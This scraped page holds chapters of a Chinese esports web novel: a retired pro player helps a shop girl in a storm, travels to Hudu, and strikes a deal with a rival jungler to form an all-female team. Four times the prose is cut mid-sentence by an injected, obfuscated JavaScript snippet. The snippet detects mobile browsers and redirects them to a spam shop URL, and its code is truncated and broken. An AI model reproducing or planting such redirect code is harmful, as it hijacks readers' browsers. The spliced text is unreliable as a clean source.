突然,门窗毫无征兆地开始剧烈颤抖,砖与墙的缝隙里挤出尖锐的哨音。 “呜——呜呜——” 一阵大风吹倒了黑夜,轰然垮塌到野放的电瓶车身上——长达数秒的白昼,刺耳的警报声带来了一个惊雷。 “轰——隆——” 闪电是最戏谑的镁光灯,定格住满室的狼藉,散乱的人和散乱的鞋子。 惨淡的白光一层一层从墙上掠过,停了电的屋子变成一个光怪陆离的隧道, “不要急。” 佘逸的手轻轻握住乔宝莎脚腕。 她的声音隔离开一切外扰的阻力,穿过喧闹不止的风雨,清晰地到达乔宝莎耳边。 “不要急。” 佘逸蹲身下来,指骨分明的手掌住那双掉皮的塑胶雨靴,扭了扭,发现是脚背的接缝做得太窄,其他的部分都相当的肥大,只需要卡过接缝处就可以了。 她找准发力点,把雨靴固定在地上:“你往下踩。” “没事的姐,我自己来就好了。” “没事。” “你站起来,对,往下踩。” “鞋子太久没穿可能缩胶了,是不太好穿。” “嗯,换这只。” “好了。” “谢谢姐,实在对不起啊,今天又是停电又是这那的,真是麻烦你了……” “我刚好也要走了,顺路送你,”佘逸扫了了200元到店里的支付宝上,“请问店里有没有充电宝,两万毫安以下的?” “有的姐,给,你路上注意安全。” “所以……地址是?” “啊?” 乔宝莎猛地抬头,一看就是在走神,握着充电宝把伞递给了佘逸。 佘逸看到她直愣愣的眼神,有些忍俊不禁,顺手接过伞撑起来,又重复了一遍刚才的话。 “不用不用,我自己过去就好,姐你不是要赶飞机吗?别耽误你事儿。” “我开车来的,反正都要出城,现在还早。” “没关系的姐,又不远,走路也花不了多久,我自己去就行。” “既然不远,那就是顺路,县里又不大,没上高速之前都顺路。” “行!” 到这份上,乔宝莎也不扭捏,拉了卷帘门,跟着佘逸出了居民楼,路上才发现还捏着一个充电宝,忙不迭递给佘逸。 隔栋之后就有电了,星星点点的暖光从楼房上的窗格子里漏出来,又被相互纠缠的电线切分成凌乱的网格。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296933|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里仿佛从建设之初就被按下了暂停键,一切老的旧的横生出去,在小县城割裂的发展中显得像新衣上一块碍眼的补丁。 乔宝莎越端详越心里不得劲,越来越生出一种异样的渴望。 发展越快…… 越有可能当拆二代。 她断定等长到她爸一半年纪的时候,会被市政“无情”地赶出家门,然后拥有一笔冰冷的巨款。 乔宝莎到小区门口发现了梦想的端倪,黄桷树下的坡道上停了一辆大G。 “嗯!!” 谁!谁的车?咱小区里有人脱离群众奔向富裕了?拆迁的通知下放到业主群了? 乔宝莎撇着眼睛闷头走,边走边留头,小城市里大G可不常见。 AUV,这车停得可够骚包的,车胎严丝合缝地卡在了一道豁口上,那本来有个防止车辆乱停的水泥墩子,不知被谁给“踹了”。 “哇呜——” 大G车灯回应似的闪了闪。 莫? 佘逸目睹了乔宝莎脸上循序渐进的表情,从震惊到迷惑再到玩味,边目移边“啧啧”咂嘴,最后是难以遮掩的仇富。 表演富有层次,生动形象地表达了作者的思乡之情,可见生活果然是对艺术的加工。 “走过了。” 佘逸眼见她脸上一阵红橙黄绿青蓝紫,对着车看了又看,但就是往前走,都快创上树了,不得不出声提醒。 “啊?” ??过哪了?哪过了? 乔宝莎眼睁睁看着佘逸长腿一跨,钻进了大G的驾驶座,发动引擎。 ! !! “……姐你停车技术蛮好的哈,哈哈。” “还……行。” “那什么,感觉这车它……不太符合姐的风格,是我刻板印象了,哈哈……哈。” “没,车是朋友的。” “嗷嗷,害,我说呢,这车就不太像女孩开的。” “……朋友也是女的。” “……” “不好意思,我不太会聊天。” “没,没事……” “上来吧。” “好的。” 乔宝莎顶着一张灰白的面庞,视死如归地往前一蹿,飞速拉开车门,爬上大G的超高底盘,关车门,扣上安全带。 老天奶,这个世界上多了一个开屎壳郎色加金属铆钉越野车的女孩。 “好了吗?” “嗯嗯,好了好了。” 想到自己的所有忙乱都在佘逸的注视中,乔宝莎已经把自己下半辈子的规划都想明白了。 视野的骤然抬高让她有点不太适应,双手紧紧扣着安全带,低头躲过车窗上脸红的倒影。 “地址?” “啊?嗷嗷嗷,我看看……东汽广场拦星路178号,有个小李维修。” 佘逸确认了一遍导航,松手刹,倒车。 车载没用香薰,也没有广播,只有一台随着车轮起伏的老旧节奏器,指针“嘀嗒嘀嗒”从坑道的剧烈缓缓驶向大路的平静。 乔宝莎在接下来的行程中都不敢看佘逸,只是扭头朝向车窗。 直到窗玻璃上雾起了一团毛绒的潮湿。 雨落在车顶叮叮当。 4. 干涸之夏(四) “前方两百米右转进入拦星路。” 十字路口,车灯红成一片,行车的速度慢慢降下来,气质独特的越野汇入雨夜荡漾的灯海里。 “快到了,要不要先给你爸爸打个电话?” “我刚才打过,关机了。” “再打一下试试,也许是没电了。” “嗯……” “我们来的时候速度快,叔叔走路的话差不多就在这一块,前面是必经之路,你注意看,等会我慢一点开。” “好。” 信号灯准时闪烁,阻滞的交通迅速恢复流动,十字路口对岸的车辆交汇,佘逸提前打好转向灯。 “右转,前方进入拦星路。” 往前是老城的商业广场,十年前繁华过一阵,现在已经基本被五金和维修市场占领。 空气里弥漫着各类机油的刺鼻气味,零星几个店里切割金属迸出的火花偶尔弹落到街心,整条街都带着某种工业的野性。 佘逸将车速放缓,摇下前座两边的车窗,冷雨飘打进来。 乔宝莎探头出去,目光穿过厚重的雨幕,沿街一寸一寸地搜寻,恍惚看到某个路人有些熟悉,坐直身子,却又不是她要找的人。 “您拨打的电话已关机,请稍后再拨……” 挂断。 “您拨打的电话……” 挂断。 “您拨打……” 余光中乔宝莎不断重播电话,整个人都几乎贴到了窗沿上,两手紧紧扣着车门,将身探出去。 “注意安全。”佘逸摇了半扇窗起来,“不……” “嗡——嗡——” 扶手箱里的手机传来震动,打断了她刚出口的话。 佘逸低头,屏幕上显示着一通重要来电。 “不好意思。” 有些为难,她向乔宝莎投去一个歉意的眼神 ,还是连通耳机接听了电话。 “喂,怎么样,有结果了吗?” “上来就问工作,你简直就是世界上最没……第二没情调的人!” “我在开车,马上去机场,你要是不急就等我落地再打给我,我现在有急事。” “我宣布,你就是世界上最没情调的人。” 温简挂着堪比生了三胎的巨大眼袋,坐在一堆凌乱的文件中间,为所有雇佣过她的资本家排序。 前两名的竞争通常比较激烈,主要根据她的怨恨程度滚动切换,这次佘逸侥幸排在了首位。 “……挂了。” “佘逸!再接你的活儿我就失去工作一夜暴富!” 温简就连发毒誓都是“既要又要”,其实加班过度求什么都没用了。 “压榨我的时候倒是一套一套的,怎么当年能和LCT签这么份狗/屁合同,算了,你那时候也才屁大点人呢……听着,你合同里阴阳条款不少,都有得告。” “但有一条比较致命,老东西给你签了两年的竞业限制,两年内你不能再从事、经营或者开设任何同LCT有竞争的行业业务,否则按照合同约定,你需要赔偿LCT300万违约金。” “也就是说,你既不能加入别的俱乐部,也不能成立自己的比赛队伍……” “……佘逸,两年,你的职业生涯还有多少个可以浪费的两年,尤其是竞技体育,每时每刻都有人掐着尖盯着你的位置……” “我知道了。” “佘逸,说真的,你不如好好考虑一下……” “你帮我看看有没有什么合法免赔或者降赔的途径,或者提供LCT过错的证据,我等不了两年。” “小逸,你和LCT之间打官司的时间可能都不止两年,到时候谁赔偿谁都不好说,何必现在上赶着给他们送钱……” 佘逸没有说话,她知道温简是明白她的。 链接着两人的电波安静地漂泊在无波的大海上,久久的,听筒里传来对方一声淡淡的叹息。 “好了我知道了,我会尽量帮你想法子的。” “你要做什么我反正是劝不了你的,你跟渠柏冬都一个样,打定主意顶着刀子也要上,要不说你俩变态卷王呢,等个一年两年的怎么你了……” 佘逸听着远在异国的友人喋喋不休的“抱怨”,伴随着背景悉悉索索的翻页声,有种吵吵闹闹的安心。 一时间好像回到了学生时代的晚修,温简还坐在她旁边整理那些剪不断理还乱的试卷。 “我跟你说嗷,这件事除了LCT……” “温简。” “……算了,这事儿蛮麻烦的,还是等我回国之后再找你细聊。” “温简,” 佘逸深处金属味的苦涩暴雨中,忽然庆幸自己还有一些可以牵挂的名字。 车行歧路,也有人打给她这通昂贵的越洋简讯。 “嗯?怎么了?” “谢谢你。” “……” “哎呀,说什么谢,又不是没给钱……” 温简说着说着却陷入了沉默,她可以游刃有余地将来自雇主的感谢转化为一笔现实的价码,但她并不擅长衡量来自朋友的感谢。 她没办法对人的情谊做出详细的背景调查或者风险评估,世界上也没有任何一个计算公式能够折算出佘逸口中那两个字的价值。 分别数年,她不止一次地问自己,为什么没有在佘逸最需要她的时候学有所成。 “小逸,如果这次你没能得到满意的结果,你打算怎么办?” 是继续走那条鲜血直白的路,还是放弃竞技……然后遗憾终生? 六年前的温简就明白,电子竞技是佘逸最后的退路,如今依然是。 她知道的,她只是不忍心。 “我只有一半的把握,不过……稍等,”佘逸的肩膀被轻轻拍了一下,“找到了吗?” 乔宝莎魂不守舍地摇了摇头,看向她的目光像一根快要崩断的弦。 “打电话也没接……” “别急,有店家的电话吗?” “没事,不是和你说话,嗯……拜。” 佘逸既要开车又要听电话,还要负责处理她这个陌生人的麻烦问题,乔宝莎又回到了内耗的原点,这比背上一个偿还不了的人情更让她坐立难安。 “没有……姐,要不你就在前面路边停车,放我下去自己找吧,反正也到地方了。” “我,我知道你很忙,耽误你我真的特别不好意思……” “没有的事,不要总是给自己增设这么多负担,我送你只是因为我刚好开车,而且顺便,你并没有带给我更多麻烦。” 佘逸轻点油门,语气没有别样的情绪起伏,只是平静地逐一拆解眼前的困境。 “那就先找店家问问,雨这么大,叔叔还在那也说不准。” “还记不记得叔叔出门前穿的什么衣服?有什么外貌特征?” “他今天穿的深蓝色白条纹的Polo衫……出门前好像穿了黑色的夹克衫,我不确定,裤子就是普通牛仔裤,有挂钥匙串。” “我爸不是很高,比较瘦,不蓄胡子,有一点‘M’型秃发,看上去50岁左右,总之就是一个很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296934|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通的中年男人。” “嗯,我知道了,我留意这边,你注意另一边。” “别急,我和你一起。” 说完车辆驶入一个弯道,迎面是疾驰而过的出租车。 对侧的远光灯直照过来,佘逸抬手挡了一下眼侧,雨雾湿了她半身,灯影下,她半脸澜夜半脸梦华。 佘逸的肤质很好,颊边带着一层未褪尽的少女的绒毛,柔和了她眉目间折转干脆的冷硬,而这一点略略的稚气,又被她散碎的短发转写成恰到好处的慵懒。 少数精英人群身上会看到某种“凡事尽在掌握”的气质,佘逸就是这样。 她的一切都仿佛充满了智慧和理性。 “中等身材的中年男性”、“蓝上衣牛仔裤”、“可能穿黑夹克”、“秃发”。 她飞快地从路人身上检索着这些标签,输入指令,得出结果,她的运行逻辑直白得像一座机器。 “喂!爸爸?!” 乔宝莎终于拨通了电话,像失航的船终于传来一通确切的航讯,她紧紧握住那只救命的电话。 “你现在在哪?刚才有发生什么事吗,怎么不接电话?哎呀快点说,不要叫人着急……” “不是喊你是别急着回来咯……又说老三篇!什么没人看店,我都这么大了我可以的,雨那么大,你要是摔倒怎么办?” “就是有那么严重!!” “你不要动我们来接你,你现在有打伞吗?……我和一个客人呀,一个姐姐,人家好心送我的。” “我现在在……在拦星路那个红绿灯那里,对,建设银行这,对面是渝亲亲零食铺。” “你别跑来找我了,我是铁包肉又不会被雨淋的,就在原地等我……什么?” 佘逸在乔宝莎接通电话的时候就朝街边靠过去了,找不到临停点,于是打着双闪慢慢向前滑行。 “行吧行行行,服了你了真的,丢三落四的……你才是老妈子呢哼!再理你你是小猪!” 乔宝莎虽然还板着脸,但那股子着急上火的劲已经平复下去,车内的气氛逐渐回温。 “姐,麻烦你了,能把我送到小李维修店门口吗?我爸东西落店里了,我和他约好了在那碰头。” “好。” “姐谢谢你哦,你快去机场吧,飞机不等人的,路上注意安全啦~” “嗯,好的。” “听你的口音,不太像渝都本地人?” 佘逸听她讲渝都话,虽然是方言,但尾音都温柔得过分,很少有人讲渝都话也凶不起来。 “我妈妈是江浙人,我家祖籍也在那边,小时候一直在江南生活,后来才跟着爸爸回的渝都,是带了点口音哦?” “有一点。” “我还以为我已经改掉了呢,以前老有人觉得我说话嗲嗲的,我觉得难为情就逼自己改掉了。” “但现在我对江南的印象也很模糊了,不刻意回忆都想不起来,就好像完全没去过一样。” “哎哟说得怪伤感的,好矫情哦,嘿嘿。” “就到这里好了,姐谢谢你,”乔宝莎指了指前面路灯照射的街角,“给你添麻烦了姐,一路顺风!天天开心哟!” “一路顺风。” “拜拜!拜拜啦——” “拜拜。” 后视镜里的卷发女孩不断换着姿势挥手,跳动的身影越缩越小,在驶出岔道之前,另一个长条的身影和她交汇。 “哎哟这什么车啊,像混社会的哟!崽你……” “爸爸!不是你想的那样……” 5. 干涸之夏(五) “喂,佘大帅?” “车给你停在老位置了,油箱给加的95,联系了老薛。” “欧儿了,啥时候到啊?” “十点半落地。” “行等你嗷,拜。” “拜。” 一路畅通无堵,过收费站的时候雨就已经停了。 只有空气还自顾自惆怅着,透着股无法释怀的湿润。 佘逸刚挂断电话,她把车停在了机场的地库,顺手给老薛发送位置,会有专人送去保养。 19:59,还有一会才能值机,她没急着下车。 地库里灯光昏暗,只有暖色的车顶灯照亮这一角隐蔽的空间。 手机剩余40%的电量,车载充电器功率太低,基本没能充上电。 佘逸探到后排拿出随身包,她把从乔宝莎店里买的充电宝塞到了包里的夹层,这包设计得不错,充电线有专门的收纳,侧边还是抽出式使用伸缩孔,深得她心。 充电的时候顺便打开微信发送消息。 (佘she、万仞不孤山、非我……)群聊(6) [佘she]:[链接]航班信息 [非我青]:接否? [佘she]:否。 [非我青]:老位置? [佘she]:1 [管我干嘛呢]:(白眼)(白眼)俩人机 [非我青]:(中指)(中指) [管我干嘛呢]:(大便)(大便) [佘she]:约了YT的打野谈事情,别等。 [管我干嘛呢]:(中指)(中指) [非我青]:(中指)(中指) [佘she]:我请。 [非我青]:那当然是你请啦~(比心)(比心) [管我干嘛呢]:那当然是你请啦~(比心)(比心) [万仞不孤山]:那当然是你请啦~(比心)(比心) (群接龙) 佘逸轻笑,刚准备退出群聊,顶部通知栏却弹出一则推送。 公众号[电竞有闻]:“二代顶尖上单棠离退役,三代选手中谁人有望接替”。 圈内将佘逸的退役看作一个关键拐点。 比她资历老的选手早已超过了黄金年龄,而正在成长的年轻一代实力还远未成熟。 如今赛场上的主力军仍然是和她同期的二代选手,她的退役仿佛暴露了近几年竞技场上青黄不接的现状。 佘逸指尖微微停顿,面色平静地点开推送栏。 图文是几个热门战队的三代选手,一片ID认完,水平良莠不齐,还有几个没怎么听说过的青训生。 佘逸飞快地滑动屏幕,一目十行地快速阅读,推文除了切中时弊的部分,还有不少是战队买下的宣传,突然她的视野里撞见一个眼熟的ID。 关蛰(郑关捷),P2P第34期青训选手,上单位,是目前最被看好的国赛选手,期待她的首发……(点击查看全部) 这个ID……好像是MOON前年准备直接首发上场世赛的打野。 佘逸曾经和MOON约过几场训练赛,细节虽然对不上了,但她记得对方战野的操作十分亮眼,风格有点像早期的米勒,迅捷速刷的野核流。 她记得当时转会期有不少战队都对关蛰开价了,最后是被MOON高价拍走的。 怎么现在成了一支名不见经传的国赛队伍的……青训生?还是青训生?!就好比一把重金求得的宝刀还没开刃,就突兀地出现在大润发杀鱼一样。 实在是……佘逸有节奏地扣打着手机后盖,不知在想些什么。 少倾,她保存了这页推文,发送到电脑端。 “关蛰,”佘逸喃喃道,神色穿透漠然的时间,有一些恍惚,“越女的技能吗……” “漂亮!!漂亮的进场,棠离选手选择直捣黄龙,SCN·light被绕后,c位无人侧防!让我们看看棠离和越女能否再次合一,杀出重围……” “这场等待已久的机会,LCT终于要站到曾经的顶点……让我们恭喜——LCT·fourth拿下春季赛的冠军!” “……让我们把目光转向本次春季赛的FMVP选手——毋庸置疑,棠离!棠离选手,你要选择的FMVP英雄是——” 20:05,该登机了。 佘逸习惯停放前绕车检查一周,关副驾驶门的时候发现车门下夹住了一小块金属片。 她捡起来放到裤兜。 …… “乘坐AM1273航班的旅客请注意,我们现已邀请头等舱/铂金卡旅客及需要协助的旅客优先登机。经济舱旅客请从32排后开始登机……” 夜色中,一架国航C919客机划破夜空,尾灯闪烁,降落在沪都的土地上。 两个小时的航班跨越了一条陡然上升的经济带,佘逸落地,跟随人流走出航站楼。 众人行色匆匆,沪都的世界灯火通明,出租车正等着装填上膛,将这些天南海北的旅客载向永不停息的纸醉金迷。 佘逸下到地下二层,打开软件准备打车。 “滴滴!滴——” 一辆米白色的SUV刹到佘逸脸上,愣了一会,她有些不肯面对地抬头。 汤佳妮缓缓摇下车窗,令人淡感绝望的气息四散而开。 新潮的橄榄绿长卷发,立领短夹克上坠满了夸张的五金配饰,再加上不规则边框的墨镜。 但凡汤佳妮长得丑一点都会显得这身搭配十分灾难,不幸的是,这b长得好看——裸色唇线涂口黑的嘴唇叼了根真知棒棒糖——且好看得过于吸睛。 出航站楼等车的人几乎都把目光投射到汤佳妮身上,哦——原来这就是大城市。 聚光灯下的主角本人倒是十分满意自己的出场效果,但同处于目光焦点的佘逸快要褪色成原画了。 电光火石之间,她的思维在“装作不认识”和“装作认不识”之间反复横跳,汤佳妮抬手勾下墨镜:“我看到你咯!” 邪魅一笑。 咯噔。 车库里响起一声荡气回肠的流氓口哨。 胸腹一体式发声的哨音,犹如螺旋上升的防空警报,在空旷的停车楼内久久盘旋。 “美女——还在等什么啦,快点上车了啦~” 机车的湾湾腔从她嘴里说出来总觉得分外邪恶,听得令人拳头微硬。 佘逸两眼一黑,却不能留在原地,咬咬牙,往前走时仿佛下定了某种决心。 路人投向她的目光或同情或敬佩,一路目送着佘逸上车。 关上车门的那一刻,她终于安详地闭上了眼睛。 “走!” 只此一字却饱含万般情绪,看似急切,实则全是恳求,像是人到中年不得不低下的头颅。 求你了姐,放过我吧。 “得嘞——” 汤佳妮大赦。 沉稳的智己LS6骑着骚包的绿发魔女,噔驾噔驾,犹如白色的电光蟑螂,在沪都的不眠夜中穿行。 “下次别来接我了。” 佘逸侧身躺倒,拉过后排条安全带扣到自己身上,显得有一点死了。 “这哪对得起我俩的交情呢?” “能不能别那么有交情。” “过命的交情没有,过肺的交情倒是有那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296935|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丁点儿,刚好够我跨越三十公里为您提供优质的接机服务。” “……很值。” “感谢我吧,要不是你,我根本不可能开你这小破摇摇车。” “我谢谢你!” “没事儿!咱都姊妹儿!今儿我存酒了,剑——南——春!姐几个晚上好好喝一壶!” 佘逸抬了抬手。 “划你的账。” 佘逸把手放下了。 白色的蟑螂,哦不,白色的智己经逐渐远离了繁华的市中心,靠近一片人迹罕至的人工园圃。 这是沪都新生的富人区,寸土寸金的城市被强行辟出一片绿地,修剪得宜的各类树种规矩地顺着车道延伸,汇聚成一片昂贵的“森林”。 森林的中心是无边的人工天鹅湖,白色的水鸟优雅地漂凫在黑镜般的水面,湖岸悉心栽培了防蚊的植物。 佘逸不敢想象在这买房的人是个什么身价,余额肯定多到令人发指吧。 反正A9家庭的汤富婆都对这里望而却步。 “敢约在这儿,你发邪财了?” “米勒约的,我还以为我这车进不来呢。” “有钱人也得配保姆车呀,怎么进不来?” “……” “这地方当时开盘的时候我来过一次,当时就觉得这些有钱人真是恶臭,咦——现在建完了,发现更恶臭了,真他妈的好看哈。” “啧啧,一颗绿化树都是三百来万,等里面那堆老钱死/了,这里还能改建成植物园。” “你说句话啊,我一个人开车也是很寂寞的好伐。” “你不会是因为我说保姆车破防了吧?” 这些有钱人真是恶臭!TAT “就这了儿,看着不太像能谈事儿的地方。” “我就搁路边等你算了,把你抛这儿连个车都打不到。” “谢主隆恩。” 佘逸高唱一声,毕竟此人良心回升的时候也只能算略通人性,说接机绝不送下一程,没把她丢在路边自己开车跑了都算得上无私奉献了。 她拉下车镜,略略整理了一下着装,把毛起的发丝抿顺,再从汤佳妮包里翻出一支稍微正常一点的口红,抹了点在手指上,淡淡地蹭在唇心,抚干衣袖上的雨雾,就着湿手擦了一下留在车里应急的高跟鞋,许久不穿,鞋面上都积了灰。 “真够埋汰的,过来!” 汤佳妮看不下去,把佘逸拉回来,给她刷了点眼影,只是简单加深轮廓,佘逸的眉目就从冷淡疏离变成了充满阅历的性感。 “成了,滚吧,要谈事情就别装嫩。” 米勒给的定位就在附近,但前方没路,只有两片修剪得宜的矮灌木,在仲夏的尾声结出了红色的莓果,古典的锡质灯笼在其间模拟出橘黄的烛光。 深色胡桃木栅栏一直延伸向湖边的草甸,如果不是确认在国内,佘逸会以为自己深处北爱尔兰某个奇境的山谷。 这些有钱人真是恶臭!! 顺着定位走了十多分钟,再往前只能去到湖边的钓鱼台了,她依然没有见到任何建筑,于是只好给米勒发送消息。 [佘she]:到了,但好像没找对位置(定位信息) [YT-Millet]:左拐往树丛里走,看见木头房子就进。 左拐?只有高过头顶的灌木丛。 她将信将疑地走过去,发现这是一道灌木塑造的拱门,走进去可以看见一间欧式原木小屋,门牌上写着“Drunk Federal”。 “醉没之邦”。 门廊下站着一个高挑的女人,长□□漫,身材姣好,穿着紧致的黑色丝质挂脖长裙。 6. 干涸之夏(六) 米勒看见佘逸走近,朝她抬了抬手。 “天,你简直变了个样。”她拨弄了一下佘逸贴耳的短发,语气像是发现了什么奇闻一样惊喜。 “你还是那个样子。”佘逸双手插兜,衬衫顺着襟堆叠到胯骨上,她偏头扬了扬眉。 米勒的确没变,从神态到穿着都很“米勒”。 “还是很美,对吧?” “嗯哼。”她不置可否,当自信和张扬齐聚在一个女人身上的时候,美貌不过是聊作增色的衬布。 “来一杯?” “不了,我开车来的。” “可惜了,这里的酒很不错。” 米勒歪头惋惜,多情的眼里却很是玩味,她邀请过佘逸转会YT。 “金钱的味道吗?那确实不错。” 佘逸走到和她站对,庆幸自己穿了高跟鞋,稍稍高过米勒一头。 “哈哈哈,我不否认,有一部分是。” “进来吧。” 米勒重返酒馆,吧台的男士们又小小地沸腾了一下,有金发的意大利人为她带来一束玫瑰。 可惜,今晚的邀约注定会被拒绝,米勒目若无人地走到酒馆的角落。 “我今天来是想……” 佘逸从来都是单刀直入的风格,在赛场上是,在赛场外也是。 “介意吗?” 米勒眼波翻转,笑着打断了她的话,从小巧的银质烟盒里挑出一根女士香烟。 佘逸摇头。 紧接着,米勒从手包里拿出一只皮革打火机,烫金的字体反射出金属的偏光,她冷傲地翘起嘴角:“抱歉,风有点大,可以麻烦你?” “谢谢。” “啪嗒“”一声,蓝色的火苗跳跃在两人之间,她低过头借佘逸的手点燃香烟。 在她吸烟之前,先一步到达的是Black Afgano侵略性的呛辣味道,如同火热的她本人。 点燃香烟大约需要三秒钟,两人的视线互不相让地交触到一起。 一次静默的交锋。 烟雾缓缓飘散,对话的主导权现在属于米勒。 “我知道你要说什么,佘逸,我不会去。” 她做游戏一样吐出一个烟圈,再往内套加多一个,再一个。 层层叠压的筹码像一堵高墙,竖立在佘逸面前,墙上的每一块砖都是明码标价的。 “如果你真的毫不考虑,不会答应见我。” 米勒没有回答,她转头看向了酒池中央。 “有很多人都想得到我,你知道是为什么吗?” “因为你神秘且美丽。” “但今天没有人能得到我,你知道是为什么吗?” “因为他们不够打动你。” 她没再说话,对着酒池里投来的目光浅浅微笑,有一搭没一搭地吸烟。 很快,酒侍送过来两杯免费的酒,来自为爱醉倒的心甘情愿。 酒杯里的冰块在二人对峙的桌面上逐渐融化,原木的齿轮之间很快化了一洇水。 她知道佘逸为什么联系她,也知道她为什么突然从LCT退役。 简单来说,她想要自立门户。 不简单地说,她要的是一支全女联赛队伍。 米勒是YT的打野,棠离是LCT的上单,她们曾同台竞技过无数次,不止一次从对方手中夺下过冠军的奖杯。 她们了解对方。 很难说她们究竟是了解自己的队友更多,还是了解对方更多。 在比赛之前,她们已经通过拆解录影隔空对弈了无数次。 这还是佘逸第一次在赛事之外的私人时间联系她。 “你打算继续在YT,比我继续留在LCT的处境不会更好,甚至你选择留在联盟任何一个俱乐部都是一样,” “你能满足于他们许诺你的,为什么不考虑我能给你的。” 米勒眼里浮出一丝犹豫,这也是她选择跟佘逸见面的原因。 她捏起杯子啜饮一口酒,劲辣的酒液顺着她渴热的喉咙,流入她冰冷的身体里。 “佘逸,从根本上说,我们两个很像。” “不,我们不像,你是一个现实主义者。” “那你呢?理想主义者?” 米勒挨不住笑出声,拿着酒杯对着灯光把玩,粉红色的吹制玻璃杯在她颈间吻上暧昧的光线,她修饰精致的眼睛直直地钉向对手,眼风慢慢凌厉:“不,你是一个投机者,我也是。” “你在寻找离开LCT最好的机会,而且要获得更多的利益,我也是。” “你把砝码押在了郑正东的小儿子身上,我把注——”她将桌上地另一杯酒推向佘逸,“下到你身上。” “带着你的队伍回到世界赛,我会随时倒戈。” 佘逸站起身,拿起酒杯和米勒的对碰,她自上而下地看着米勒的眼睛,慢慢饮尽杯中金色的香槟。 “成交。” “成交。” 佘逸转身离开,走出酒馆前米勒再次叫住了她。 “嘿,说实话,我一开始不觉得你是会做这件事的人,毕竟我们很像。” “投机者不会为了无法掌控的风险掷出机会。” “但我很开心你是做这件事的人,佘逸,你走进了这个行业,也希望你能第一个改写这个行业。” “祝你好运。” “谢谢。” 佘逸把这句话当做今夜的壮行,转身返回了她的黑夜之中。 …… “搞定了?” “说不上,算是画了个饼。” 回程佘逸坐到了副驾上,她酒量不太好,刚才闷得太急,现在后劲上来了,她嫌车里面味道重,把车窗全都降了下来。 她歪在车沿上仰头看天,天空边缘是倒映上去的城市霓虹,中心灰蒙蒙的,什么都看不见。 “不好看。” “不好看就把脑袋缩回来,趴在那跟哈巴狗似的,谁捡你。” 酒精上头的佘逸反射弧格外地长,隔了好一阵才乖乖的坐正,盯着风挡两眼发直,末了居然还有点遗憾:“哦。” “得了,还是给你吹吹风吧,别没到地方就成醉猫了,”汤佳妮把摇上去的车窗又开下来,“醒醒神,不准现在倒了。” “谢谢你哦。”佘逸又把脑袋搁上去趴着。 汤佳妮觑她一眼:“不然谁去给钱?” “你的良心不会痛吗?”佘逸回头很真诚地发问。 “谁有那东西,”汤佳妮赏给她一个白眼,“滑天下之大稽。” “你怎么能又没良心又有钱呢?”这个问题好几年前佘逸就和温简讨论过,彼时二人想破头也没弄明白,最终归咎于汤佳妮有遗传,她爹也这样。 “没良心是吧?”汤佳妮挫着牙根,气得跳眉,一脚油门到底,扑过来要开佘逸那头的车门,“没良心早他爹把你丢外面了!” 佘逸一瞬间酒都醒了,制住她的手往方向盘上送:“感谢汤女士的不杀之恩,您好好开。” “危险驾驶是犯罪。”她煞有介事地补了一句,安全带栓得牢牢的。 “我滚你的。” 好在汤佳妮一心守财,瞧不上圈子里那些法制咖,赛车跳伞这种要命的极限运动她也从来不参加,开车顶天了也就120码,高速路畅行。 晚间路况不错,绕内城高架很快就回了市中心,等了两个红绿灯,再有十多分钟就到了。 “给群里发个消息呗,让庞哥把串儿上上。” 汤佳妮把着方向盘,腿抖得哒哒响,已经迫不及待了。 “已经说了。” (佘she、万仞不孤山、非我……)群聊(6) [佘she]:[链接]位置信息 [佘she]:快到了,十五分钟左右。 [非我青]:@万仞不孤山她还堵着,才下班,我们已经点了不少了,剩下的等你们到了再看。 [万仞不孤山]:(哭泣)(哭泣)(哭泣)都别说了,这个群里只有我活得和温简一样(抓狂)(抓狂) [姓温的商人]:@万仞不孤山 ?我警告你,别骂得太脏了!!(中指) [比巴卜□□糖]:@姓温的商人哟,居然在线,看来已经熬穿了(偷笑) [姓温的商人]:语音45″ [姓温的商人]:语音60″ [比巴卜□□糖]:急了.jpg [姓温的商人]:狗叫了.jpg (此处省略99+小学生互掐) 群里的鸡飞狗跳不停,汤佳妮已经去停车了,佘逸站在路口等她,街灯下围着不眠不休的飞蚊。 庞勇的烧烤店远离商圈,周围却散乱停着不少豪车,本来都到了,汤佳妮转了一圈竟然没位置,只好把车停在了稍远的办公楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 